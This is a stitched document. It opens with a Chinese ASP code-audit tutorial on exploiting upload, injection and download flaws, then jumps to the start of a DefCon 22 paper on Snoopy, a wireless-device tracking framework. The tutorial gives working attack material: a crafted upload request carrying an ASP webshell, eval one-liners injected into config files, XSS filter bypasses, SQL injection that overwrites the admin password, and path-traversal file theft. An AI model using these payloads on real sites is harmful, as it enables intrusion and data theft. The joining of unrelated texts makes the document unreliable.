然后再在这个页面中查看源代码,找到 form 表单的 action 后面就是最终执行文件上传的序 Asp 安全审计 http://hi.baidu.com/micropoor 10 页了,这里为 upfilea.asp。然后把完整地址复制下来拿出上传漏洞利用工具。 将 form 表单处 action 的值更改为刚才我们找到目标站的执行文件上传程序页的完整地址选 择你的 webshell 文件,直接是 ASP 或者 ASA 等格式的,并且要注意在选择了大马文件后, 要在最后面加上一个空格。 注意光标前面的空格,然后点击上传大马就会看到返回的结果了。 同样可以使用明小子也能直接提交上传 案例分析(2222): NC 提交: Asp 安全审计 http://hi.baidu.com/micropoor 11 分析下这个上传程序: 变量(filepath),值为“../ima/upload/”,就是把上传的图片存放在../ima/upload/目录。下面就 可以直接对这个进行利用了,最简单的方法就是将整个文件存为本地的HTM 文件,更改form 表单的 action 和../ima/upload/,此处更改成 IIS 解析漏洞形式,然后提交。不过此方法成功 率不高,大多数做了过滤。 Asp 安全审计 http://hi.baidu.com/micropoor 12 以上便是使用抓吧工具抓取到的数据包,然后我们将 POST 行和“--------”行数据库包内容全 部复制到一个 a.txt 文件中,一下便是 a.txt 的全部内容。 POST /manage/upfile_flash.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://www.xxxxxxx/manage/upload_flash.asp?formname=form1&editname=log_Pic&uppa th=../ima/upload&filelx=jpg Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7da3a6040276 UA-CPU: x86 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322) Host: www.hauteroute.com.cn Content-Length: 1956 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDQCBRRSAT=NEBDLIIDLMBKPOHKDPIDIBNL -----------------------------7da3a6040276 Content-Disposition: form-data; name="filepath" ../ima/upload/ -----------------------------7da3a6040276 Content-Disposition: form-data; name="filelx" Asp 安全审计 http://hi.baidu.com/micropoor 13 jpg -----------------------------7da3a6040276 Content-Disposition: form-data; name="EditName" log_Pic -----------------------------7da3a6040276 Content-Disposition: form-data; name="FormName" form1 -----------------------------7da3a6040276 Content-Disposition: form-data; name="act" uploadfile -----------------------------7da3a6040276 Content-Disposition: form-data; name="file1"; filename="E:\hd\1.jpg" Content-Type: text/plain <head> <meta http-equiv="Content-Language" content="zh-cn"> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><style type="text/css"> <!-- a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: underline; } a:active { text-decoration: none; } --> </style></head><center> <%Response.Expires=0:if Request.TotalBytes then:set a=createobject("adodb.stream"):a.Type=1:a.Open:a.write Request.BinaryRead(Request.TotalBytes):a.Position=0:b=a.Read:c=chrB(13)&chrB(10):d=clng(i nstrb(b,c)):e=instrb(d+1,b,c):set f=createobject("adodb.stream"):f.type=1:f.open:a.Position=d+1:a.copyto f,e-d-3:f.Position=0:f.type=2:f.CharSet="GB2312":g=f.readtext:f.Close:h=mid(g,instrRev(g,"\")+ 1,e):i=instrb(b,c&c)+4:j=instrb(i+1,b,leftB(b,d-1))-i-2:f.Type=1:f.Open:a.Position=i-1:a.CopyTo f,j:f.SaveToFile server.mappath(h),2:f.Close:set f=Nothing:a.Close:set a=Nothing:response.write Asp 安全审计 http://hi.baidu.com/micropoor 14 "<a href="&Server.URlEncode(h)&">"&h&"</a>"%> <form enctype=multipart/form-data method=post> <input type=file name=fe> <input type="submit" value="上传" name="B1"></form> <p align="center"></p> -----------------------------7da3a6040276 Content-Disposition: form-data; name="Submit" · 开始上传 · -----------------------------7da3a6040276-- 现在需要更改数据包(以上红色标注部分),修改一下地方: -----------------------------7da3a6040276 Content-Disposition: form-data; name="filepath" ../ima/upload/ 将../ima/upload/修改成../ima/upload/1.asp ,注意 1.asp 后面有个空格。这样我们就在整个数 据包中增加了 6 个字符(1.asp=5 个字符外加一个空格等于 6)。然后再更改 Content-Length: 1956 的知加 6 为 Content-Length: 1962 用 C32,使用 C32 打开 a.txt,使用十六进制编辑模式,然后再右边的字符串中找到我们刚 才添加的 1.asp 处,并用鼠标选中后面的空格并且填充。 Asp 安全审计 http://hi.baidu.com/micropoor 15 用 NC 提交,NC 提交格式:nc www.xxx.com 80<a.txt 提交后会看到返回结果,如下图: 在../ima/upload/目录下生成一个 1.asp 的文件,现在在 IE 中访问下看看是否成功。 Asp 安全审计 http://hi.baidu.com/micropoor 16 案例分析(3333) JS 本地修改: 传 asp 格式的文件,错误提示如下: JavaScript 编写,而 JavaScript 是本地运行。查看下源代码而且这个代码我们可以修改或者 删除的。 Asp 安全审计 http://hi.baidu.com/micropoor 17 把整个源代码保存为本地的 htm 文件,然后删除掉上图中的文本内容,找到 form 表单中的 action 的值,把地址补充完整。然后本地双击打开修改后的 htm 文件,再上传一个 asp 的文 件。 文件头检测漏洞: <% if FileExt="asa" or FileExt="asp" or FileExt="cdx" or FileExt="cer" then error2("对不起,管理员 设定本论坛不允许上传 "FileExt" 格式的文件") if Sitesettings("WatermarkOption")="Persits.Jpeg" and FileMIME="image/pjpeg" and UpClass<>"Face" then Set Jpeg = Server.CreateObject("Persits.Jpeg") Jpeg.Open Server.MapPath(""SaveFile"") ’判断用户文件中的危险操作 ’这里是检测对应图片图片格式的文件头,这里我们可以伪造。 sStr="getfolder|createfolder|deletefolder|createdirectory|deletedirectory|saveas encode|function|UnEncode|execute|重命名|修改|属性|新建|复制|服务器|下载" sNoString=split(sStr,"|") for i=0 to ubound(sNoString) if instr(sTextAll,sNoString(i)) then set filedel=server.CreateObject ("Scripting.FileSystemObje ct") filedel.deletefile server.mappath(""SaveFile"") response.write "你的 ip 和时间已被纪录,由于你曾多次使用该方 法对系统进行非法攻击,我们将会把你的数据向海南省公安部及海 口网警报告!" response.write "<br>" response.write "时间:"date()" "time()"" response.write "<br>" response.write "I P:"request.servervariables("remote_add r")" " set MyFiletemp=server.CreateObject("Scripting.FileSystemOb ject") set wfile=myfiletemp.opentextfile(server.mappath("ypsql.t xt"),8) wfile.writeline date()" "time()" "request.servervari ables("remote_addr") Asp 安全审计 http://hi.baidu.com/micropoor 18 Response.end end if %> 检测文件头,构造 gif89a 轻松绕过。 解析漏洞: 如文件夹名接受 userID 来建立。那么配合 iis6 解析。Asp.asp/1.jpg 来解析 asp。Cer 等 如 IIS6 根据扩展名来识别,IIS7 根据匹配断定请求文件是为哪某脚本类型。apache 根据名 单后缀名解析。nginx 文件类型错误解析等。 经典漏洞如:FCKeditor 等 注:此漏洞不专属于 asp。 大小写转换漏洞: 代码如下: <% dim sql_leach,sql_leach_0,Sql_DATA sql_leach = "',and,exec,insert,select,delete,update,count,*,%,chr,mid,master,truncate,char,declareexists,cast,alt er,nchar,rename,drop,like,where,union,join,execute,|,applet,object,script,<,>" sql_leach_0 = split(sql_leach,",") If Request.QueryString<>"" Then For Each SQL_Get In Request.QueryString For SQL_Data=0 To Ubound(sql_leach_0) if instr(Request.QueryString(SQL_Get),sql_leach_0(Sql_DATA))>0 Then //并没有 lcase request Response.Write "禁止注入" Response.end end if next Next End If %> 大小写转换即可。 特殊环境跨站: <% Function code_ssstrers) dim strer:strer=strers if strer="" or isnull(strer) then code_ss"":exit function strer=replace(strer,"<","<") strer=replace(strer,">",">") Asp 安全审计 http://hi.baidu.com/micropoor 19 strer=replace(strer," "," ") '空格 strer=replace(strer,CHR(9)," ") 'table strer=replace(strer,"'","'") '单引号 strer=replace(strer,"""",""") '双引号 dim re,re_v re_v="[^\(\)\;\';""\[]*" 're_v=".[^\[]*" Set re=new RegExp re.IgnoreCase =True re.Global=True re.Pattern="(javascript :)" strer=re.Replace(strer,"javascript:") re.Pattern="(javascript)" strer=re.Replace(strer,"javascript") re.Pattern="(jscript:)" strer=re.Replace(strer,"jscript :") re.Pattern="(js:)" strer=re.Replace(strer,"js:") re.Pattern="(value)" strer=re.Replace(strer,"value") re.Pattern="(about:)" strer=re.Replace(strer,"about:") re.Pattern="(file:)" strer=re.Replace(strer,"file&:") re.Pattern="(document.)" strer=re.Replace(strer,"document :") re.Pattern="(vbscript:)" strer=re.Replace(strer,"vbscript :") re.Pattern="(vbs:)" strer=re.Replace(strer,"vbs :") re.Pattern="(on(mouse|exit|error|click|key))" strer=re.Replace(strer,"on$2") %> 以上代码段对 javascript,jscript:,js:,about;value,document.,onmouse 以及 onexit 等语句进行了过 滤和替换.并对一些特殊字符进行了替换。 提 交 :[ mg]& #176& #93& #118& #97& #115& #79rip& #106& #57documen& #115& #76write& #30& #29just for micropoor& #29& #61& #29[/ mg]便可绕过。 <% Function coder(str) Dim result,L,i If IsNull(str) Then : coder="" : Exit Function : End If L=Len(str) : result="" Asp 安全审计 http://hi.baidu.com/micropoor 20 For i = 1 to L select case mid(str,i,1) case "<" : result=result+"&lt;" case ">" : result=result+"&gt;" case chr(34) : result=result+"&quot;" case "&" : result=result+"&amp;" case chr(13) : result=result+"<br>" case chr(9) : result=result+"&nbsp; &nbsp; " case chr(32) : result=result+"&nbsp;" case else : result=result+mid(str,i,1) end select Next coder=result End Function %> 提交:[img scr=javascript:alert(document.cookie)> </ img> 过滤["|.|;|:|\|/|&|$|#|`|)|,|'|"|-|~|[|(||] 注:其中|为分割符 即可 逻辑错误漏洞: <% dim id id=request.QueryString("id") if not isinteger(id) then response.write"<script>alert (" "错误 " "); location.href="" ../micropor.asp"";</script>" end if set re_micropor=server.CreateObject("ADODB.Recordset") re_micropor "select * from micropoor where user ="&id re_micropor.open strmicropoor,conn,1,1 if re_micropor.bof and re_micropor.eof then response.write"<script>alert (" "错误 " "); location.href="" ../micropor.asp"";</script>" end if %> 由于 sql 在 end if 之外。所以不影响执行。 查询逻辑错误: <% //略 userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") //获取 IP If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR") //判断 set rs = Server.CreateObject("ADODB.RecordSet") rs.Open "select zuziip from [config] where zuziip like '%"&zuziip&"%'",conn,1,1 //查询 IP 是否 存在 zuziip 默认是空即使 IP 存在也无法限制 if rs.recordcount<>0 then Asp 安全审计 http://hi.baidu.com/micropoor 21 zuziip=rs("zuziip")&chr(13) zuziip=replace(zuziip," ","") zuziip=replace(zuziip,chr(10),"") 'zuziip=replace(zuziip,".","") 'userip2=replace(userip,".","") zzip=split(zuziip,chr(13)) 'Response.Write "ubound(zzip):"&ubound(zzip)&"<BR>" 'Response.Write "zzip(0):"&zzip(0)&"<BR>" 'Response.Write "zzip(1):"&trim(zzip(1))&"<BR>" for i=0 to ubound(zzip) if userip=trim(zzip(i)) then er=1 'Response.Write userip&" "&zzip(i)&"<BR>" end if next if er=1 then Response.Write "<BR><BR><BR><BR><Center><font style='font-size:10.5pt'> 你 所 在 IP 被系统阻止!("&userip&")</font><BR><BR></center>" conn.close:set conn=nothing Response.end end if end if %> 其他逻辑错误: <% adduser=chkhtm(trim(Request("adduser")))&"|"&chkhtm(trim(Request("email"))) title=chkhtm(trim(Request("title"))) content=trim(Request("content")) content=trim(Request("content")) content=trim(Request("content")) content=trim(Request("content")) ////////没有进行过滤 lm=chkhtm(trim(request("lm"))) addtime=date() userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR") if adduser="" or title="" or content="" then %> 配置文件逻辑错误: <% sss=LCase(request.servervariables("QUERY_STRING")) if instr(sss,"select")<>0 or instr(sss,"inster")<>0 or instr(sss,"delete")<>0 or instr(sss,"(")<>0 or instr(sss,"'or")<>0 then response.write "<BR><BR><center>你的网址不合法" response.end Asp 安全审计 http://hi.baidu.com/micropoor 22 end if xuasmdb="data/#db1.asp" set conn=server.CreateObject("adodb.connection") DBPath = Server.MapPath(xuasmdb) conn.open "provider=microsoft.jet.oledb.4.0; data source="&DBpath ON ON ON ON ERROR ERROR ERROR ERROR RESUME RESUME RESUME RESUME NEXT NEXT NEXT NEXT //写在了 open 后面 userip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") If userip = "" Then userip = Request.ServerVariables("REMOTE_ADDR") set rs = Server.CreateObject("ADODB.RecordSet") rs.Open "select zuziip from [config] where zuziip like '%"&zuziip&"%'",conn,1,1 if rs.recordcount<>0 then //略 %> 包含漏洞: <% Server.execute(request("file")) %> 动态包含文件,被包含文件里面可执行 ASP 代码。 asp asp asp asp 文件下载漏洞: <% //略 Const adTypeBinary = 1 FileName = Request.QueryString(”FileName”) if FileName = “” Then Response.Write “无效文件名!” Response.End End if FileExt FileExt FileExt FileExt ==== Mid(FileName, Mid(FileName, Mid(FileName, Mid(FileName, InStrRev(FileName, InStrRev(FileName, InStrRev(FileName, InStrRev(FileName,““““....””””)))) ++++ 1) 1) 1) 1) Select Select Select SelectCase Case Case Case UCase(FileExt) UCase(FileExt) UCase(FileExt) UCase(FileExt) Case Case Case Case ““““ASP ASP ASP ASP””””,,,, ““““ASA ASA ASA ASA””””,,,, ““““aspX aspX aspX aspX””””,,,, ““““ASAX ASAX ASAX ASAX””””,,,, ““““MDB MDB MDB MDB”””” Response.Write Response.Write Response.Write Response.Write ““““非法操作!”””” Response.End Response.End Response.End Response.End End End End End Select Select Select Select Response.Clear if lcase(right(FileName,3))=”gif” or lcase(right(FileName,3))=”jpg” or lcase(right(FileName,3))=”png” then Response.ContentType = “image/*” ‘对图像文件不出 现下载对话框 else Response.ContentType = “application/ms-download” end if Response.AddHeader “content-disposition”, “attachment; filename=” & GetFileName(Request.QueryString(”FileName”)) Asp 安全审计 http://hi.baidu.com/micropoor 23 Set Stream = server.CreateObject(”ADODB.Stream”) Stream.Type = adTypeBinary Stream.Open SavePath = FileUploadPath ‘ 存放上 传文件的目 录 TrueFileName = SavePath & FileName Stream.LoadFromFile Server.MapPath(TrueFileName) While Not Stream.EOS Response.BinaryWrite Stream.Read(1024 * 64) Wend //略 %> Url:down.asp?FileName=../conn.asp.... 多加了一个点之后,截取的就是空的后缀了。判断就饶过了。后缀是判断最后一个.之后的, 构造的最后一个.后面是空,所以不会非法。 例 2: <% //略 Path = Trim(Request(”path”)) //略 %> <% //略 If true_domain = 1 Then downloadFile Server.MapPath(Replace(Path,blogurl,”")),1 else downloadFile Server.MapPath(Path),1 End If %> <% If InStr(path,Oblog.CacheConfig(56)) > 0 Then downloadFile Server.MapPath(Path),1 End if select Case LCase(Right(strFile, 4)) Case “.asp”,”.mdb”,”.config”,”.js” FileExt = Mid(FileName, InStrRev(FileName, “.”) + 1) Select Case UCase(FileExt) Case “ASP”, “ASA”, “ASPX”, “ASAX”, “MDB” Response.Write “非法操作!” %> 方法同上: 伪造 REFERER REFERER REFERER REFERER 漏洞 referer 是 http 头,它的作用是签定用户是从何处引用连接的,在 the9,服务程序就充分利 用了这一点,如过手动输入 url 的话,那么 referer 不会设任何值,服务程序就返回空。 测试文件: <% dim referer dim web_name Asp 安全审计 http://hi.baidu.com/micropoor 24 dim n referer=request.servervariables("http_referer") web_name=request.servervariables("server_name") n=instr(referer,web_name) if n>0 then response.write "<script>alert(/good/)</script>" else response.write "<script>alert(/bad/)</script>" end if %> 代码: <% Function GetBody(weburl) Set Retrieval = Server.CreateObject("MSXML2.XMLHTTP") With Retrieval .Open "Get", weburl, False, "", "" .setRequestHeader "referer","http://www.micropoor.com/"'想改什么就改什 么 .Send GetBody = .ResponseBody End With GetBody = BytesToBstr(GetBody,"GB2312") Set Retrieval = Nothing End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body Asp 安全审计 http://hi.baidu.com/micropoor 25 objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Response.Write(GetBody("http://www.micropoor.com/referer.asp")) %> 深入 Asp Asp Asp Asp 配置文件插入一句话以及原理 数据库扩展名是 asp 的话,那么插数据库,有配置文件可以插的话,那么插入配置文件。 但是配置文件一旦插入失败,那么可能导致网站数据配置错误发生不可想象的后果。 一般格式:email="[email protected]" 那么需要闭合2个",然后插入一句话:"%><%eval request("micropoor")%><%s=" 那么在 config.asp 中就是 email=" "%><%eval request("micropoor")%><%s=" " 连接 config.asp 即可。 有一些配置文件没有双引号,例如:num=5,5为 int 如果 num="5",那么就变成 char 了。 那么插入:插入5%><%eval request("micropoor")%><% 有一些网站的配置文件过滤了 eval,execute,或者防火墙。拦截等。可以考虑 include。 例: <!-- #include file="..//uploadfiles/xxx.jpg"--> Xxx.jpg 为我们的一句话图片。 案例: //过滤文件 <% sessionvar = replace(Trim(Request.Form("sessionvar")),CHR(34),"'") webmail = replace(Trim(Request.Form("webmail")),CHR(34),"'") weblogo = replace(Trim(Request.Form("weblogo")),CHR(34),"'") skin = replace(Trim(Request.Form("skin")),CHR(34),"'") webbanner = replace(Trim(Request.Form("webbanner")),CHR(34),"'") bestvid = replace(Trim(Request.Form("bestvid")),CHR(34),"'") Asp 安全审计 http://hi.baidu.com/micropoor 26 bestcoolsite = replace(Trim(Request.Form("bestcoolsite")),CHR(34),"'") adflperpage = replace(Trim(Request.Form("adflperpage")),CHR(34),"'") point_news = replace(Trim(Request.Form("point_news")),CHR(34),"'") point_article = replace(Trim(Request.Form("point_article")),CHR(34),"'") point_down = replace(Trim(Request.Form("point_down")),CHR(34),"'") %> VBScript VBScript VBScript VBScript Replace Replace Replace Replace 函数 Replace 函数可使用一个字符串替换另一个字符串指定的次数。 语法 Replace(string,find,replacewith[,start[,count[,compare]]]) 参数 描述 string 必需的。需要被搜索的字符串。 find 必需的。将被替换的字符串部分。 replacewith 必需的。用于替换的子字符串。 start 可选的。规定开始位置。默认是 1。 count 可选的。规定指定替换的次数。默认是 -1,表示进行所有可能的替换。 compare 可选的。规定所使用的字符串比较类型。默认是 0。 实例 例子 1111 dim txt txt="This is a beautiful day!" document.write(Replace(txt,"beautiful","horrible")) 输出: This is a horrible day! 配置文件: <% webmail="[email protected]" '设置站长 EMAIL weblogo="" '设置 logo 代码 webbanner="skin/1/top0.jpg" '设置 banner 代码 '=====首页显示信息===== Asp 安全审计 http://hi.baidu.com/micropoor 27 indexnews=6 '首页显示的新闻的条数 indexarticle=10 '首页显示的文章的篇数 indexsoft=10 '首页显示的程序的个数 indexdj=10 '首页显示的舞曲的个数 %> 那么 indexnews 可以插入6:eval(request(char(34))) 6:冒号作用为连接符号。 代码审核实战: 案例1: ./Action.asp elseif request("action")="type1" then //第23行 dim mainurl,main,mainstr mainurl=request("mainurl") main=trim(checkstr(request("main"))) response.clear() mainstr="" If Len(memName)>0 Then mainstr=mainstr&"<img src=""images/download.gif"" alt=""下载文件"" style=""margin:0px 2px -4px 0px""/> <a href="""&mainurl&""" target=""_blank"">"&main&"</a>" 利用:Action.asp?action=type1&mainurl=xxx">[XSS] 案例2: //const.asp //GetUserTodayInfo QUOTE: Lastlogin = Request.Cookies("newasp_net")("LastTime") UserDayInfo = Request.Cookies("newasp_net")("UserToday") If DateDiff("d",LastLogin,Now())<>0 Then ……………… UserDayInfo = "0,0,0,0,0,0" Response.Cookies("newasp_net")("UserToday") = UserDayInfo end if UserToday = Split(UserDayInfo, ",") If Ubound(UserToday) <> 5 Then ……………… UserDayInfo = "0,0,0,0,0,0" Response.Cookies("newasp_net")("UserToday") = UserDayInfo Asp 安全审计 http://hi.baidu.com/micropoor 28 end if QUOTE: Public Function updateUserToday(ByVal str) On Error Resume Next If Trim(str) <> "" Then Newasp.Execute("update [NC_User] SET UserToday='" & str & "' where username='"& Newasp.membername &"' And userid=" & Newasp.memberid) Response.Cookies("newasp_net")("UserToday") = str End If End Function updateUserToday(ByVal str)str 没有经过任何过滤就防进了数据库。 导致 sql 案例3: //Oblog 4.6 //AjaxServer.asp Sub digglog() //第691行 If Not lcase(Request.ServerVariables("REQUEST_METHOD"))="post" Then Response.End //略 If request("ptrue")=1 Then //第703行 pdigg=oblog.checkuserlogined_digg(unescape(Trim(request("puser"))),Trim(request("ppass"))) oblog.checkuserlogined_digg 在/inc/ class_sys.asp 文件下: Public Function CheckUserLogined_digg(puser,ppass) Dim rs If Not IsObject(conn) Then link_database Set rs = Server.CreateObject("adodb.recordset") rs.open "select top 1 userid,username from oblog_user where username='"&puser&"' and truepassword='"&ppass&"'", conn, 1, 1 If Not (rs.eof Or rs.bof) Then CheckUserLogined_digg="1$$"&rs("userid")&"$$"&rs("username") Else CheckUserLogined_digg="0$$0$$0" End If rs.close Asp 安全审计 http://hi.baidu.com/micropoor 29 Set rs=Nothing End Function ppass 没有任何过滤放入 sql 执行语句导致 sql 注入的产生。利用必须使用 post 提交. 案例4: //attachment.asp Path = Trim(Request("path")) '获取用户提交的路径 FileID = Trim(Request("FileID")) If FileID ="" And Path = "" Then Response.Write "参数不足" Response.End End If ... If CheckDownLoad Or 1= 1Then If Path = "" Then set rs = Server.CreateObject("ADODB.RecordSet") link_database SQL = ("select file_path,userid,file_ext,ViewNum FROM oblog_upfile WHERE FileID = "&amp;CLng(FileID)) rs.open sql,conn,1,3 If Not rs.Eof Then uid = rs(1) file_ext = rs(2) rs("ViewNum") = rs("ViewNum") + 1 rs.Update downloadFile Server.MapPath(rs(0)),0 Else Response.Status=404 Response.Write "该附件不存在!" End If rs.Close Set rs = Nothing Else If InStr(path,Oblog.CacheConfig(56)) &gt; 0 Then 'Tr4c3 标注:注意这里,仅仅判断用户提交 的路径是否包含 UploadFiles,为真则调用 downloadfile 函数下载文件 downloadFile Server.MapPath(Path),1 End if Asp 安全审计 http://hi.baidu.com/micropoor 30 End If Else '如果附件为图片的话,当权限检验无法通过则调用一默认图片,防止&lt;img&gt;标记无法 调用,影响显示效果 If Path = "" Then Response.Status=403 Response.Write ShowDownErr Response.End Else downloadFile Server.MapPath(blogdir&amp;"images/oblog_powered.gif"),1 End if End if Set oblog = Nothing Sub downloadFile(strFile,stype) On Error Resume Next Server.ScriptTimeOut=9999999 Dim S,fso,f,intFilelength,strFilename strFilename = strFile Response.Clear Set s = Server.CreateObject(oblog.CacheCompont(2)) s.Open s.Type = 1 Set fso = Server.CreateObject(oblog.CacheCompont(1)) If Not fso.FileExists(strFilename) Then If stype = 0 Then Response.Status=404 Response.Write "该附件已经被删除!" Exit Sub Else strFilename = Server.MapPath(blogdir&amp;"images/nopic.gif") End if End If Set f = fso.GetFile(strFilename) intFilelength = f.size s.LoadFromFile(strFilename) Asp 安全审计 http://hi.baidu.com/micropoor 31 If Err Then Response.Write("&lt;h1&gt;错误: &lt;/h1&gt;" &amp; Err.Description &amp; "&lt;p&gt;") Response.End End If Set fso=Nothing Dim Data Data=s.Read s.Close Set s=Nothing Dim ContentType select Case LCase(Right(strFile, 4)) Case Case Case Case ".asp",".mdb",".config",".js" ".asp",".mdb",".config",".js" ".asp",".mdb",".config",".js" ".asp",".mdb",".config",".js" ////////出现问题.... Exit Sub Case ".asf" ContentType = "video/x-ms-asf" Case ".avi" ContentType = "video/avi" Case ".doc" ContentType = "application/msword" Case ".zip" ContentType = "application/zip" Case ".xls" ContentType = "application/vnd.ms-excel" Case ".gif" ContentType = "image/gif" Case ".jpg", "jpeg" ContentType = "image/jpeg" Case ".wav" ContentType = "audio/wav" Case ".mp3" ContentType = "audio/mpeg3" Case ".mpg", "mpeg" ContentType = "video/mpeg" Case ".rtf" ContentType = "application/rtf" Case ".htm", "html" ContentType = "text/html" Asp 安全审计 http://hi.baidu.com/micropoor 32 Case ".txt" ContentType = "text/plain" Case Else ContentType = "application/octet-stream" End select If Response.IsClientConnected Then If Not (InStr(LCase(f.name),".gif")&gt;0 Or InStr(LCase(f.name),".jpg")&gt;0 Or InStr(LCase(f.name),".jpeg")&gt;0 Or InStr(LCase(f.name),".bmp")&gt;0 Or InStr(LCase(f.name),".png")&gt;0 )Then Response.AddHeader "Content-Disposition", "attachment; filename=" &amp; f.name End If Response.AddHeader "Content-Length", intFilelength Response.CharSet = "UTF-8" Response.ContentType = ContentType Response.BinaryWrite Data Response.Flush Response.Clear() End If End Sub 案例5 //AjaxServer.asp If Left(log_files,1)="," Then log_files=Right(log_files,Len(log_files)-1) rs("logpics") = log_files '附加文件处理 If log_files <>"" Then oblog.Execute "Update oblog_upfile Set logid=" & tid & " Where fileid In (" & log_files & ")" End if //log_files 未被处理,由于多行执行。 利 用 ;update/**/oblog_user/**/set/**/password=7a57a5a743894a0e/**/where/**/username=admin;- - 案例6 //admin/ admin_inc.asp Sub checkPower //第103行 dim loginValidate,rsObj : loginValidate = "maxcms2.0" Asp 安全审计 http://hi.baidu.com/micropoor 33 err.clear on error resume next set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute") //追踪 rCookie //inc/ CommonFun.asp 中 Function rCookie(cookieName) //第28行 rCookie = request.cookies(cookieName) End Function 导致了注入。
pdf
@glennzw // DefCon 22 August 2014 Digital Terrestrial Tracking: The Future of Surveillance Glenn Wilkinson SensePost @glennzw [email protected] ABSTRACT In this paper, the terms Digital Terrestrial Tracking (DTT) and Digital Terrestrial Footprint (DTF) are introduced. The DTF defines the uniquely identifiable signature of wireless signals emitted by a device or collection of devices that an individual carries on their person in the physical world. These signals can reveal a device’s history at a location and point in time, and potentially disclose details about the owner. Interrogation or interaction with the device may reveal further details. The DTF positions itself between an individual’s physical world footprint (their unique personal attributes), and their online footprint (defined by their unique online persona). Physical world tracking would involve following a person based on what they look or sound like; online tracking would involve tracking a person online activity based on their unique online signature (cookies, IP addresses, social media accounts); and digital terrestrial tracking involves tracking a person in the real world based on a unique signature emitted by devices on their person. The goal of the research conducted and discussed in this paper was to build a mass data collection and correlation framework based on information leaked from the wireless devices that people carry. The framework should be able to identify, track, and profile people by passively collected wireless information from devices, and collect information that is more verbose by optionally interrogating devices. The result is a tool, named Snoopy, written in Python, capable of operating in a distributed manner, in harsh environments on affordable off the shelf (OTS) hardware. Snoopy is able to draw specific and high level conclusions about individuals based on their digital wireless signals. The framework has been extensively tested in busy public areas (such as conferences, airports, hotels, etc.) and validated our hypothesis that such tracking was possible. Analysis performed against the collected data revealed interesting insights and trends, which will be discussed in the results section of this paper. Categories and Subject Descriptors D.4.6 [Software]: Security and Protection – Invasive Software, Verification. General Terms Algorithms, Measurement, Reliability, Experimentation, Security. Keywords Wireless, 802.11, 802.15, Wi-Fi, Bluetooth, GSM, ZigBee, NFC, RFID, fingerprint, link-analysis, UAV, single board computer, privacy. 1. INTRODUCTION Mobile electronic devices such as smart phones, laptops, tablets, wearable computers (e.g. smart watches, fitness bracelets, etc.) emit wireless signals, even whilst not in active use. If the signals emitted by one or more of these devices are unique, the device (and therefore the owner) can be identified as being in a certain location at a certain time. The signals may also reveal personal information about the owner, or upon interrogation or interaction divulge such information. An example of such signals is the 802.11 wireless probe-request that is broadcast from mobile phones and other portable Wi-Fi enabled devices. These signals include a unique MAC address of the device, and the name (SSID) of the wireless network being searched for. The SSID may be able to be geo-located, or simple link-analysis could be conducted by identifying different devices searching for the same SSIDs, thus revealing secondary and even tertiary relationships (e.g. a spouse, or business partner). Active interaction with devices may also be possible. For example, due to a lack of verification with WEP or OPEN Wi-Fi networks it is possible to respond to arbitrary probe requests from client devices with a beacon, thereby impersonating the desired access point, and intercepting network traffic from client devices. Similar techniques work with GSM, by detecting the unique IMSI (international mobile subscriber identity) of a mobile phone, with the option of operating a personal cellular tower (small cell) to intercept data. Other examples include detecting the MAC address and device name via Bluetooth; detecting the device ID with RFID; reading data from an NFC device; or detecting the device number of an ANT fitness device. Furthermore, if carrying multiple devices the cloud of device signals may provide a unique identity even if individual devices do not. The Snoopy tool was originally released as a proof of concept for detecting, tracking, and interrogating client Wi-Fi devices [1]. Since then, it has been re-written to be modular with a technology agnostic framework able to collect signals emitted from arbitrary technologies as defined by its plugins. Current plugins include Wi-Fi, Bluetooth, ZigBee, GSM, NFC, and RFID. The framework is designed to run unattended for prolonged periods synchronizing data to a central server (via 3G modem, Xbee, or Wi-Fi). It has several modes of operation, including an aerial surveillance and tracking mode. Visual data exploration from a central server reveals enlightening patterns-of-life of individuals, both at the macro and micro levels. This will be discussed in the results section of the paper. Work has been done in this area by academics, private corporations, and military institutions 2-13], but at the time of writing Snoopy is the only open source technology agnostic DTF tracking and profiling framework that we know of. 2. PROBLEM STATEMENT The goal of this research was to build a framework to detect a user’s DTF, demonstrate how the user could be tracked via it, and what link analysis could be conducted against data in both a passive and active manner. Data collection should be in a distributed manner allowing for the deployment of low cost sensors (later named drones) over an area with data synchronised between sensors and servers. A degree of data protection was a @glennzw // DefCon 22 August 2014 further requirement; such that a discovered sensor would not reveal captured information to a third party. Data exploration should be possible in a graphical manner, in such a way that operators can query data to visually discover patterns. Finally, the devised solution should be based upon open source software and off-the-shelf hardware. 3. BACKGROUND In this section, we discuss several wireless technologies, their common deployment in consumer devices, and examine the DTF they may create for the user. 3.1 Wireless Technology The ever decreasing cost of production, increase in computing power, and desire for convenience is prompting a growing number of wireless enabled devices to be carried by consumers. This includes, but is not limited to; Wi-Fi/GSM/Bluetooth enabled smart phones, NFC bank cards, RFID biometric passports, Wi-Fi enabled pacemakers, low power Bluetooth tagged ‘Internet of Things’ items. These technologies may disclose unique identifiers, or personal information concerning the owner. 3.1.1 Wi-Fi Wi-Fi (or more accurately the group of IEEE wireless 802.11 specifications) provides wireless access to networks at Open Systems Interconnection (OSI) model layers one (radio wave modulation) and two (primarily media access control) of the OSI network stack, and is indistinguishable from a wired (Ethernet) connection to the user or software on layers three and up. A Wi-Fi network configured in infrastructure mode (i.e. a Basic Service Set (BSS)) describes a client device as a station, which connects to an access point (AP). Ad-hoc networks are also possible between clients, but not relevant for our discussion. A typical AP has a range of 35 meters indoor, and 100 meters outdoors. The Wi-Fi standard defines three high-level wireless frame 